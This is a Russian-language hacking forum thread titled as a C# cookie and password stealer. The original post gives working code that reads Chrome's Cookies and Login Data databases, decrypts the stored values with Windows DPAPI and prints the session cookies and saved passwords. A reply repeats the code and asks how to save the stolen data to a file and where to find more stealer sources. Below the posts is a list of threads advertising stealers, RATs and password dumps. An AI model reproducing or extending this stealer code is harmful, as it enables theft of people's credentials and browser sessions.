Стиллер куков и паролей c#

R

Riddle

Original poster
Нашел гдет на просторах нета, немного переделал:
Код:
 static public IEnumerable<Tuple<string, string, string>> ReadCookies()
        {
   
            var dbPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Cookies";
            if (!System.IO.File.Exists(dbPath)) throw new System.IO.FileNotFoundException("Cant find cookie store", dbPath);

            var connectionString = "Data Source=" + dbPath + ";pooling=false";

            using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
            using (var cmd = conn.CreateCommand())
            {
             

                cmd.CommandText = "SELECT name,encrypted_value,host_key FROM cookies";

                conn.Open();
                using (var reader = cmd.ExecuteReader())
                {
                    while (reader.Read())
                    {
                        var encryptedData = (byte[])reader[1];

                        var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
                        var plainText = Encoding.ASCII.GetString(decodedData);

                        yield return Tuple.Create(reader.GetString(2), reader.GetString(0), plainText);

                    }

                }

                conn.Close();
            }
        }




        static public IEnumerable<Tuple<string, string, string>> ReadPass()
        {
            var dbPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data";
            if (!System.IO.File.Exists(dbPath)) throw new System.IO.FileNotFoundException("Cant find Login Data store", dbPath); 

            var connectionString = "Data Source=" + dbPath + ";pooling=false";

            using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
            using (var cmd = conn.CreateCommand())
            {
             

                cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";

                conn.Open();
                using (var reader = cmd.ExecuteReader())
                {
                    while (reader.Read())
                    {
                        var encryptedData = (byte[])reader[0];

                        var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
                        var plainText = Encoding.ASCII.GetString(decodedData);

                        yield return Tuple.Create(reader.GetString(2),reader.GetString(1), plainText);

                    }

                }

                conn.Close();
            }
        }

Вызвать можно так :
Код:
var cook = ReadCookies();
            foreach (var item in cook)
                Console.WriteLine("{0}  |  {1} : {2}", item.Item1, item.Item2, item.Item3);
            Console.WriteLine();
         

            var pas = ReadPass();
            foreach (var item in pas)
                Console.WriteLine("{0}  |  {1} : {2}", item.Item1, item.Item2, item.Item3);
 
  • Like
Реакции: Kpa6
Y

YoungCoder

Original poster
Нашел гдет на просторах нета, немного переделал:
Код:
 static public IEnumerable<Tuple<string, string, string>> ReadCookies()
        {
  
            var dbPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Cookies";
            if (!System.IO.File.Exists(dbPath)) throw new System.IO.FileNotFoundException("Cant find cookie store", dbPath);

            var connectionString = "Data Source=" + dbPath + ";pooling=false";

            using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
            using (var cmd = conn.CreateCommand())
            {
            

                cmd.CommandText = "SELECT name,encrypted_value,host_key FROM cookies";

                conn.Open();
                using (var reader = cmd.ExecuteReader())
                {
                    while (reader.Read())
                    {
                        var encryptedData = (byte[])reader[1];

                        var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
                        var plainText = Encoding.ASCII.GetString(decodedData);

                        yield return Tuple.Create(reader.GetString(2), reader.GetString(0), plainText);

                    }

                }

                conn.Close();
            }
        }




        static public IEnumerable<Tuple<string, string, string>> ReadPass()
        {
            var dbPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data";
            if (!System.IO.File.Exists(dbPath)) throw new System.IO.FileNotFoundException("Cant find Login Data store", dbPath);

            var connectionString = "Data Source=" + dbPath + ";pooling=false";

            using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
            using (var cmd = conn.CreateCommand())
            {
            

                cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";

                conn.Open();
                using (var reader = cmd.ExecuteReader())
                {
                    while (reader.Read())
                    {
                        var encryptedData = (byte[])reader[0];

                        var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
                        var plainText = Encoding.ASCII.GetString(decodedData);

                        yield return Tuple.Create(reader.GetString(2),reader.GetString(1), plainText);

                    }

                }

                conn.Close();
            }
        }

Вызвать можно так :
Код:
var cook = ReadCookies();
            foreach (var item in cook)
                Console.WriteLine("{0}  |  {1} : {2}", item.Item1, item.Item2, item.Item3);
            Console.WriteLine();
        

            var pas = ReadPass();
            foreach (var item in pas)
                Console.WriteLine("{0}  |  {1} : {2}", item.Item1, item.Item2, item.Item3);
А как в файл записать? А есть ещё с куками сорсы?
 
Название темы
Автор Заголовок Раздел Ответы Дата
P Есть ли бесплатный стиллер? Можно стиллер с чем-то. Вопросы и интересы 0
D Возможно ли засунуть стиллер в dll файл? Вопросы и интересы 1
Neizvestnost74 Проверено Качественное ПО "Eternity" - СТИЛЛЕР (собирает данные с пк), КЛИППЕР (подменяет криптокошельки в буфере обмена), МАЙНЕР (добывает крипту с пк), БОТНЕТ Продажа софта 4
L Интересно Java - Стиллер паролей в Minecraft моде Другие ЯП 8
M Склейка любого exe (РАТНИК, Стиллер) с docx (WORD) Продажа софта 2
L Интересно C# - Динамическая загрузка DLL (пишем стиллер в 9кб) .NET 4
S Интересно Свой мини-рат на python + стиллер хрома v80 Софт от наших юзеров 8
R Интересно AZORULT 3.3.1 стиллер с другова Форума Spam/DDOS/Malware 5
K ⚡⚡⚡ Стиллер + Админ Панель |500 РУБ|⚡⚡⚡ Продажа софта 9
E Биткоин стиллер на C# Spam/DDOS/Malware 0
S Стиллер всякого на VBS Другие ЯП 1
M USB флешка-стиллер своими руками Другие ЯП 1
M Нужен стиллер/ратник Куплю/Продам 1
B AZORult стиллер + HVNC Bot, stealer - Мощный стиллер паролей, CC и криптовалют Корзина 2
J Стиллер паролей с отправкой по почте. Вирусология 5
A Стиллер + Админ Панель (Читай описание) Pro Продажа софта 9
L Стиллер Mystery, многофункциональный и с выдержкой на любые нагрузки Продажа софта 30
A Стиллер паролей для Chrome и Firefox Уязвимости и взлом 0
A Залив инсталлов на собственный стиллер и работа с логами. Способы заработка 0
M Loki Stealer - многофункциональный нативный стиллер Продажа софта 2
T Есть стиллер,нужен напарник для распространения Свободное общение и флейм 2
T Получаем доступ к FTP через стиллер Полезные статьи 0
J Нужен стиллер Вопросы и интересы 0
Traven Пишем свой стиллер на Python Другие ЯП 5
A [ГАЙД]Делаем простецкий стиллер своими руками Полезные статьи 5
O Пишем стиллер на Batch Вирусология 15
M [USB]Стиллер или флешка ВОР) Софт для работы с текстом/Другой софт 40
D Гайд как создать стиллер. Полезные статьи 18
farhad.tiger Создам Вам RMS, стиллер, кейлоггер под ключ[free] Spam/DDOS/Malware 2
D3v1l [Tinder Retriver] Ретривер тиндера с gmail куков Продажа софта 0
Support81 RTX 5090: Nvidia создала монстра для взлома паролей и скромно назвала его видеокартой Новости в сети 0
Support81 Тотальная утечка: в сети 6 миллиардов паролей, и все те же Новости в сети 0
Emilio_Gaviriya Статья Защита паролей от кейлоггеров Анонимность и приватность 0
balof почт и паролей 895к Раздача (аккаунтов/ключей) 3
F Собираю команду для брута паролей. Бруты/Парсеры/Чекеры 0
P Качественный подбор паролей (vk.comOk.ru,WhatsApp.Viber) от [email protected] Взлом сайта, взлом форума - на заказ! Хотите узнать с кем обща Корзина 0
Anorali Интересно Написание стиллера паролей от wifi WiFi/Wardriving/Bluejacking 24
ㅤ ㅤㅤㅤ Взломщик андроид паролей. Продажа софта 2
E Интересно Ненадёжность хранения паролей TeamViewer Уязвимости и взлом 0
Little_Prince Пак паролей для расшифровки дампов Другое 6
M NordPass - менеджер паролей от NordVPN Полезные статьи 0
V 13 миллиардов почт и паролей пользователей Полезные статьи 11
M База логинов и паролей Online Уязвимости и взлом 4
Ж Генератор паролей C++ С/C++ 0
K [Pluralsight] Хакинг веб-приложений: взлом функционала по восстановлению паролей Другое 0
T [Асгард — С первых рук] Самодельный апаратный менеджер паролей Полезные статьи 0
1 Wi-Fi точка для перехвата паролей Kali Linux 4
R 16,5 гб паролей для взлома wifi Kali Linux 2
K Сборник программ для взлома паролей различных зашифрованных файлов запароленных архивов Другое 1
K [Pluralsight] Хакинг веб-приложений: взлом функционала по восстановлению паролей Другое 0

Название темы